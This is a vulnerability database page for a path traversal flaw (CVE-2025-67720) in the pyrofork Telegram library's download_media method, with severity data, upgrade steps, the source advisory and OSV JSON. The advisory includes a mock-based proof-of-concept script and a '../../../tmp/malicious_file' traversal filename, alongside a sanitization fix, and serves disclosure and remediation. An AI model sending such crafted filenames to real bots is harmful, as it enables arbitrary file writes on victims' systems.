Vulnerabilities in pkg:pypi/pyrofork

PACKAGE
Advisory Identifier: GHSA-6h2f-wjhf-4wjx
Advisory Summary

CVE-2025-67720 is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Pyrofork libraries in the PyPI ecosystem. The issue involves pyrofork has a path traversal in download_media method. Remediation is available by upgrading affected packages to version 2.3.69.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/pyrofork

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/pyrofork. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-6h2f-wjhf-4wjx CVE-2025-67720 MODERATE Pyrofork has a Path Traversal in download_media Method

CVE-2025-67720 at a Glance

CVE Identifier CVE-2025-67720
GHSA Identifier GHSA-6h2f-wjhf-4wjx
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Pyrofork
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2025-67720

To remediate this vulnerability, upgrade all affected Pyrofork dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyrofork fixed: 2.3.69
pip install pyrofork>=2.3.69
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyrofork

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-67720, inspect your installed packages using pip:

pip show pyrofork

Analyze the terminal output to locate any version of Pyrofork in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.69), your application is affected.

Note: The pip show pyrofork command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Pyrofork, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `download_media` method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., `../`) or absolute paths in the filename. --- ## Details When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the `file_name` attribute from the media object. This attribute originates from Telegram's `DocumentAttributeFilename` and is controlled by the message sender. ### Vulnerable Code Path **Step 1**: In `pyrogram/methods/messages/download_media.py` (lines 145-151): ```python media_file_name = getattr(media, "file_name", "") # Value from Telegram message directory, file_name = os.path.split(file_name) # Split user's path parameter file_name = file_name or media_file_name or "" # Falls back to media_file_name if empty ``` When a user calls `download_media(message)` or `download_media(message, "downloads/")`, the `os.path.split()` returns an empty filename, causing the code to use `media_file_name` which is attacker-controlled. **Step 2**: In `pyrogram/client.py` (line 1125): ```python temp_file_path = os.path.abspath(re.sub("\\\\", "/", os.path.join(directory, file_name))) + ".temp" ``` The `os.path.join()` function does not prevent path traversal. When `file_name` contains `../` sequences or is an absolute path, it allows writing outside the intended download directory. ### Why the existing `isabs` check is insufficient The check at line 153 in `download_media.py`: ```python if not os.path.isabs(file_name): directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR) ``` This check only handles absolute paths by skipping the directory prefix, but: 1. For relative paths with `../`, `os.path.isabs()` returns `False`, so the check doesn't catch it 2. For absolute paths, `os.path.join()` in the next step will still use the absolute path directly --- ## PoC The following Python script demonstrates the vulnerability by simulating the exact code logic from `download_media.py` and `client.py`: ```python #!/usr/bin/env python3 """ Path Traversal PoC for Pyrofork download_media Demonstrates CWE-22 vulnerability in filename handling """ import os import shutil import tempfile from pathlib import Path from dataclasses import dataclass @dataclass class MockDocument: """Simulates a Telegram Document with attacker-controlled file_name""" file_id: str file_name: str # Attacker-controlled! @dataclass class MockMessage: """Simulates a Telegram Message""" document: MockDocument DEFAULT_DOWNLOAD_DIR = "downloads/" def vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR): """ Simulates the vulnerable logic from: - pyrogram/methods/messages/download_media.py (lines 145-154) - pyrogram/client.py (line 1125) """ media = message.document media_file_name = getattr(media, "file_name", "") # Line 150-151: Split and fallback directory, file_name = os.path.split(file_name) file_name = file_name or media_file_name or "" # Line 153-154: isabs check (insufficient!) if not os.path.isabs(file_name): directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR) if not file_name: file_name = "generated_file.bin" # Line 1125 in client.py: Path construction import re temp_file_path = os.path.abspath( re.sub("\\\\", "/", os.path.join(str(directory), file_name)) ) + ".temp" return temp_file_path def run_poc(): print("=" * 60) print("PYROFORK PATH TRAVERSAL PoC") print("=" * 60) with tempfile.TemporaryDirectory() as temp_base: parent_dir = Path(temp_base) expected_dir = str(parent_dir / "downloads") print(f"\n[*] Bot working directory: {parent_dir}") print(f"[*] Expected download dir: {expected_dir}") # Attack: Path traversal with ../ print("\n" + "-" * 60) print("TEST: Path Traversal Attack") print("-" * 60) malicious_msg = MockMessage( document=MockDocument( file_id="test_id", file_name="../../../tmp/malicious_file" ) ) result_path = vulnerable_download_media( parent_dir=parent_dir, message=malicious_msg, file_name="downloads/" ) # Remove .temp suffix for final path final_path = os.path.splitext(result_path)[0] print(f"[*] Malicious filename: ../../../tmp/malicious_file") print(f"[*] Resulting path: {final_path}") if not final_path.startswith(expected_dir): print(f"\n[!] VULNERABILITY CONFIRMED") print(f"[!] File path escapes intended directory!") print(f"[!] Expected: {expected_dir}/...") print(f"[!] Actual: {final_path}") else: print("[*] Path is within expected directory") if __name__ == "__main__": run_poc() ``` ### How to Run Save the above script and run: ```bash python3 poc_script.py ``` ### Expected Output ``` ============================================================ PYROFORK PATH TRAVERSAL PoC ============================================================ [*] Bot working directory: /tmp/tmpXXXXXX [*] Expected download dir: /tmp/tmpXXXXXX/downloads ------------------------------------------------------------ TEST: Path Traversal Attack ------------------------------------------------------------ [*] Malicious filename: ../../../tmp/malicious_file [*] Resulting path: /tmp/malicious_file [!] VULNERABILITY CONFIRMED [!] File path escapes intended directory! [!] Expected: /tmp/tmpXXXXXX/downloads/... [!] Actual: /tmp/malicious_file ``` ### Why This Proves the Vulnerability 1. The PoC uses the **exact same logic** as the vulnerable code in `download_media.py` and `client.py` 2. The malicious filename `../../../tmp/malicious_file` causes the path to escape from `/tmp/tmpXXX/downloads/` to `/tmp/malicious_file` 3. Python's `os.path.join()` and `os.path.abspath()` behavior is deterministic - this will work the same way in the real library --- ## Impact ### Who is affected? - Telegram bots or user accounts using Pyrofork that download media with default parameters - The common usage pattern `await client.download_media(message)` is affected ### Conditions required for exploitation 1. Attacker must be able to send messages to the victim's bot/account 2. Victim must download the media without specifying a custom filename 3. The bot process must have write permissions to the target location ### Potential consequences - **Arbitrary file write** to locations writable by the bot process - Overwriting existing files could cause denial of service or configuration issues - In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges) --- ## Recommended Fix Add filename sanitization in `download_media.py` after line 151: ```python file_name = file_name or media_file_name or "" # Add this sanitization block: if file_name: # Remove any path components, keeping only the basename file_name = os.path.basename(file_name) # Remove null bytes which could cause issues file_name = file_name.replace('\x00', '') # Handle edge cases if not file_name or file_name in ('.', '..'): file_name = "" ``` This ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths. --- Thank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.

CVE-2025-67720 Affected Pyrofork Versions

1 component(s)
Fixed Versions:
2.3.69
Product / Package Ecosystem Affected Versions Fixed Version
pyrofork
PyPI
< 2.3.69
2.3.69

References

Frequently Asked Questions

What is CVE-2025-67720?
CVE-2025-67720 is a security vulnerability in Pyrofork involving Pyrofork has a Path Traversal in download_media Method under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Pyrofork versions are affected?
Affected versions include releases prior to 2.3.69 across affected packages: pyrofork.
What version fixes CVE-2025-67720?
Upgrading to 2.3.69 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyrofork affected?
Yes, pyrofork is affected in releases prior to 2.3.69. Upgrade your dependency to 2.3.69 or later.
What is the CVSS score of CVE-2025-67720?
CVE-2025-67720 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2025-67720?
CVE-2025-67720 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2025-67720?
Run the dependency tree command: 'pip show pyrofork'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6h2f-wjhf-4wjx",
  "modified" : "2025-12-11T15:51:44Z",
  "published" : "2025-12-10T20:21:54Z",
  "aliases" : [ "CVE-2025-67720" ],
  "summary" : "Pyrofork has a Path Traversal in download_media Method",
  "details" : "## Summary\n\nThe `download_media` method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., `../`) or absolute paths in the filename.\n\n---\n\n## Details\n\nWhen downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the `file_name` attribute from the media object. This attribute originates from Telegram's `DocumentAttributeFilename` and is controlled by the message sender.\n\n### Vulnerable Code Path\n\n**Step 1**: In `pyrogram/methods/messages/download_media.py` (lines 145-151):\n\n```python\nmedia_file_name = getattr(media, \"file_name\", \"\")  # Value from Telegram message\n\ndirectory, file_name = os.path.split(file_name)    # Split user's path parameter\nfile_name = file_name or media_file_name or \"\"     # Falls back to media_file_name if empty\n```\n\nWhen a user calls `download_media(message)` or `download_media(message, \"downloads/\")`, the `os.path.split()` returns an empty filename, causing the code to use `media_file_name` which is attacker-controlled.\n\n**Step 2**: In `pyrogram/client.py` (line 1125):\n\n```python\ntemp_file_path = os.path.abspath(re.sub(\"\\\\\\\\\", \"/\", os.path.join(directory, file_name))) + \".temp\"\n```\n\nThe `os.path.join()` function does not prevent path traversal. When `file_name` contains `../` sequences or is an absolute path, it allows writing outside the intended download directory.\n\n### Why the existing `isabs` check is insufficient\n\nThe check at line 153 in `download_media.py`:\n\n```python\nif not os.path.isabs(file_name):\n    directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR)\n```\n\nThis check only handles absolute paths by skipping the directory prefix, but:\n1. For relative paths with `../`, `os.path.isabs()` returns `False`, so the check doesn't catch it\n2. For absolute paths, `os.path.join()` in the next step will still use the absolute path directly\n\n---\n\n## PoC\n\nThe following Python script demonstrates the vulnerability by simulating the exact code logic from `download_media.py` and `client.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPath Traversal PoC for Pyrofork download_media\nDemonstrates CWE-22 vulnerability in filename handling\n\"\"\"\n\nimport os\nimport shutil\nimport tempfile\nfrom pathlib import Path\nfrom dataclasses import dataclass\n\n@dataclass\nclass MockDocument:\n    \"\"\"Simulates a Telegram Document with attacker-controlled file_name\"\"\"\n    file_id: str\n    file_name: str  # Attacker-controlled!\n\n@dataclass  \nclass MockMessage:\n    \"\"\"Simulates a Telegram Message\"\"\"\n    document: MockDocument\n\nDEFAULT_DOWNLOAD_DIR = \"downloads/\"\n\ndef vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR):\n    \"\"\"\n    Simulates the vulnerable logic from:\n    - pyrogram/methods/messages/download_media.py (lines 145-154)\n    - pyrogram/client.py (line 1125)\n    \"\"\"\n    media = message.document\n    media_file_name = getattr(media, \"file_name\", \"\")\n    \n    # Line 150-151: Split and fallback\n    directory, file_name = os.path.split(file_name)\n    file_name = file_name or media_file_name or \"\"\n    \n    # Line 153-154: isabs check (insufficient!)\n    if not os.path.isabs(file_name):\n        directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR)\n    \n    if not file_name:\n        file_name = \"generated_file.bin\"\n    \n    # Line 1125 in client.py: Path construction\n    import re\n    temp_file_path = os.path.abspath(\n        re.sub(\"\\\\\\\\\", \"/\", os.path.join(str(directory), file_name))\n    ) + \".temp\"\n    \n    return temp_file_path\n\ndef run_poc():\n    print(\"=\" * 60)\n    print(\"PYROFORK PATH TRAVERSAL PoC\")\n    print(\"=\" * 60)\n    \n    with tempfile.TemporaryDirectory() as temp_base:\n        parent_dir = Path(temp_base)\n        expected_dir = str(parent_dir / \"downloads\")\n        \n        print(f\"\\n[*] Bot working directory: {parent_dir}\")\n        print(f\"[*] Expected download dir: {expected_dir}\")\n        \n        # Attack: Path traversal with ../\n        print(\"\\n\" + \"-\" * 60)\n        print(\"TEST: Path Traversal Attack\")\n        print(\"-\" * 60)\n        \n        malicious_msg = MockMessage(\n            document=MockDocument(\n                file_id=\"test_id\",\n                file_name=\"../../../tmp/malicious_file\"\n            )\n        )\n        \n        result_path = vulnerable_download_media(\n            parent_dir=parent_dir,\n            message=malicious_msg,\n            file_name=\"downloads/\"\n        )\n        \n        # Remove .temp suffix for final path\n        final_path = os.path.splitext(result_path)[0]\n        \n        print(f\"[*] Malicious filename: ../../../tmp/malicious_file\")\n        print(f\"[*] Resulting path: {final_path}\")\n        \n        if not final_path.startswith(expected_dir):\n            print(f\"\\n[!] VULNERABILITY CONFIRMED\")\n            print(f\"[!] File path escapes intended directory!\")\n            print(f\"[!] Expected: {expected_dir}/...\")\n            print(f\"[!] Actual: {final_path}\")\n        else:\n            print(\"[*] Path is within expected directory\")\n\nif __name__ == \"__main__\":\n    run_poc()\n```\n\n### How to Run\n\nSave the above script and run:\n\n```bash\npython3 poc_script.py\n```\n\n### Expected Output\n\n```\n============================================================\nPYROFORK PATH TRAVERSAL PoC\n============================================================\n\n[*] Bot working directory: /tmp/tmpXXXXXX\n[*] Expected download dir: /tmp/tmpXXXXXX/downloads\n\n------------------------------------------------------------\nTEST: Path Traversal Attack\n------------------------------------------------------------\n[*] Malicious filename: ../../../tmp/malicious_file\n[*] Resulting path: /tmp/malicious_file\n\n[!] VULNERABILITY CONFIRMED\n[!] File path escapes intended directory!\n[!] Expected: /tmp/tmpXXXXXX/downloads/...\n[!] Actual: /tmp/malicious_file\n```\n\n### Why This Proves the Vulnerability\n\n1. The PoC uses the **exact same logic** as the vulnerable code in `download_media.py` and `client.py`\n2. The malicious filename `../../../tmp/malicious_file` causes the path to escape from `/tmp/tmpXXX/downloads/` to `/tmp/malicious_file`\n3. Python's `os.path.join()` and `os.path.abspath()` behavior is deterministic - this will work the same way in the real library\n\n---\n\n## Impact\n\n### Who is affected?\n\n- Telegram bots or user accounts using Pyrofork that download media with default parameters\n- The common usage pattern `await client.download_media(message)` is affected\n\n### Conditions required for exploitation\n\n1. Attacker must be able to send messages to the victim's bot/account\n2. Victim must download the media without specifying a custom filename\n3. The bot process must have write permissions to the target location\n\n### Potential consequences\n\n- **Arbitrary file write** to locations writable by the bot process\n- Overwriting existing files could cause denial of service or configuration issues\n- In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges)\n\n---\n\n## Recommended Fix\n\nAdd filename sanitization in `download_media.py` after line 151:\n\n```python\nfile_name = file_name or media_file_name or \"\"\n\n# Add this sanitization block:\nif file_name:\n    # Remove any path components, keeping only the basename\n    file_name = os.path.basename(file_name)\n    # Remove null bytes which could cause issues\n    file_name = file_name.replace('\\x00', '')\n    # Handle edge cases\n    if not file_name or file_name in ('.', '..'):\n        file_name = \"\"\n```\n\nThis ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths.\n\n---\n\nThank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyrofork"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.69"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.3.68"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Mayuri-Chan/pyrofork/security/advisories/GHSA-6h2f-wjhf-4wjx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-67720"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Mayuri-Chan/pyrofork/commit/2f2d515575cc9c360bd74340a61a1d2b1e1f1f95"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Mayuri-Chan/pyrofork"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-10T20:21:54Z",
    "nvd_published_at" : "2025-12-11T02:16:19Z"
  }
}